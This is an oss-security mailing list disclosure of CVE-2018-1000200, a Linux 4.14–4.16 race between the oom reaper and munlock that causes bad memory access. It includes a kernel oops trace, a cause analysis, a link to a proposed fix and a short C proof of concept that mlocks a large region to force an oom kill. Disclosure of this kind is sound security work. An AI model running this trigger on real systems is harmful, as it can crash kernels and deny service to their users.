Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 24 Apr 2018 15:48:02 -0700 (PDT)
From: David Rientjes <rientjes@...gle.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2018-1000200 (Linux): Bad memory access on oom kill of large
 mlocked process

Hi all,

Out of memory (oom) killing a process that has large spans of mlocked 
memory can result in a bad memory access or a NULL pointer dereference due 
to concurrent memory unmapping by the oom reaper kernel thread.

This affects Linux 4.14, 4.15, and 4.16.

It is much more likely on PowerPC where clearing a huge pmd results in
serialize_against_pte_lookup(), which forces all cpus out of idle.  All
architectures are vulnerable, however.

An example dereference:

Unable to handle kernel paging request for data at address 0x00000018
Faulting instruction address: 0xc000000000167ac0
Oops: Kernel access of bad area, sig: 11 [#1]
SMP NR_CPUS=256 NUMA PowerNV
NIP __lock_acquire
LR lock_acquire
Call Trace:
lock_acquire
_raw_spin_lock
follow_page_pte
munlock_vma_pages_range
exit_mmap
mmput
do_exit
do_group_exit
get_signal
do_signal
do_notify_resume

The issue arises from an oom killed process's final thread calling
exit_mmap(), which calls munlock_vma_pages_all() for mlocked vmas.  This
can happen synchronously with the oom reaper's unmap_page_range() since
the vma's VM_LOCKED bit is cleared before munlocking (to determine if any
other vmas share the memory and are mlocked).

The simple exploit is provided inline, below.  The amount of memory to be 
mlocked, MEM_LENGTH, must be large enough to trigger an oom kill.  There 
are two common ways to do that: (1) MEM_LENGTH exceeds all memory on the 
system, or (2) the exploit is attached to a memory control group (cgroup) 
that is limited to less than MEM_LENGTH.  Note that this has only been 
reproduced on PowerPC so far, due to the pmd clearing mentioned above but 
all platforms should be equally as vulnerable since the oom reaper kernel 
thread can race with munlock.

The proposed fix is https://marc.info/?l=linux-kernel&m=152460926619256.  
(Please note that key maintainers are currently at a conference, so review 
and merge may be delayed longer than normal.)

Thanks for your time.
---
#include <sys/mman.h>

#define MEM_LENGTH	(1UL << 30)

int main(void)
{
	void *ptr = mmap(0, MEM_LENGTH, PROT_WRITE,
		MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
	if (ptr == MAP_FAILED)
		return -1;

	return mlock(ptr, MEM_LENGTH);
}

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.